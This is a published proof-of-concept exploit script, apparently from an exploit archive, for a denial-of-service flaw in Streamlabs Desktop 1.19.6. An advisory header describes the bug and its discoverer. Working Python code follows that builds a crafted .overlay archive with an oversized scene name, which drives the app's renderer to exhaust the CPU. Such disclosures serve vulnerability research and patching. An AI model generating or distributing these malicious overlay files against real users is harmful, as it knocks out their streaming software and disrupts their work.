## https://sploitus.com/exploit?id=PACKETSTORM:211594
#!/usr/bin/env python3
#
#
# Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion
#
#
# Vendor: Logitech | General Workings, Inc.
# Product web page: https://www.logitech.com | https://www.streamlabs.com
# Affected version 1.19.6 (macOS/Win)
#
# Summary: Streamlabs Desktop is a free streaming and recording software,
# built on OBS Studio, for content creators to stream live to platforms
# like Twitch, YouTube, and Facebook. It is designed to be beginner-friendly
# and offers tools for creating engaging streams, such as customizable overlays,
# alerts for viewer interactions, and the ability to add guests to a stream.
#
# Desc: A vulnerability exists in Streamlabs Desktop where importing a
# crafted .overlay file can cause uncontrolled CPU consumption, leading
# to a denial-of-service condition. The .overlay file is an archive
# containing a config.json configuration. By inserting an excessively
# large string into the name attribute of a scene object within config.json,
# the application's renderer process (Frameworks/Streamlabs Desktop Helper
# (Renderer).app) spikes to over 150% CPU and becomes unresponsive. This
# forces the victim to terminate the application manually, resulting in
# loss of availability. An attacker could exploit this by distributing
# malicious overlay files to disrupt streaming operations.
#
# ----------------------------------------------------------------------
# $ ps ucp 66595
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# lqwrm 66595 100.3 0.6 1596218784 221344 ?? R 2:15PM 1:32.11 Streamlabs Desktop Helper (Renderer)
# ----------------------------------------------------------------------
#
# Tested on: macOS Sequoia version 15.7.2, 15.7.1
# Microsoft Windows 11 25H2
# Microsfot Windows 10
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5967
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5967.php
#
#
# 15.10.2025
#
import argparse
import json
import zipfile
from pathlib import Path
def build_config(name: str) -> dict:
return {
"schemaVersion": 2,
"nodeType": "RootNode",
"scenes": {
"schemaVersion": 2,
"nodeType": "ScenesNode",
"items": [
{
"slots": {
"schemaVersion": 1,
"nodeType": "SlotsNode",
"items": []
},
"name": name,
"sceneId": "scene_8e59eea4-d0f1-424f-8837-1aacd707700c"
}
]
},
"transition": {
"schemaVersion": 1,
"nodeType": "TransitionNode",
"type": "cut_transition",
"settings": {},
"duration": 300
},
"nodeMap": {
"schemaVersion": 1,
"nodeType": "NodeMapNode"
}
}
def create_overlay(output_path: Path, name_length: int = 1000) -> Path:
scene_name = "A" * name_length
config_dict = build_config(scene_name)
config_bytes = json.dumps(config_dict, indent=2, ensure_ascii=False).encode("utf-8")
output_path.parent.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(output_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr("config.json", config_bytes)
return output_path
def main():
parser = argparse.ArgumentParser(description="Create a Streamlabs .overlay with a 1000 chars scene name.")
parser.add_argument("-o", "--output", type=Path, default=Path("sample.overlay"),
help="Path to the output .overlay archive (default: sample.overlay)")
parser.add_argument("-n", "--name-length", type=int, default=1000,
help="Number of bytes to use for the scene name (default: 1000)")
args = parser.parse_args()
out = create_overlay(args.output, name_length=args.name_length)
print(f"Created overlay: {out.resolve()}")
if __name__ == "__main__":
main()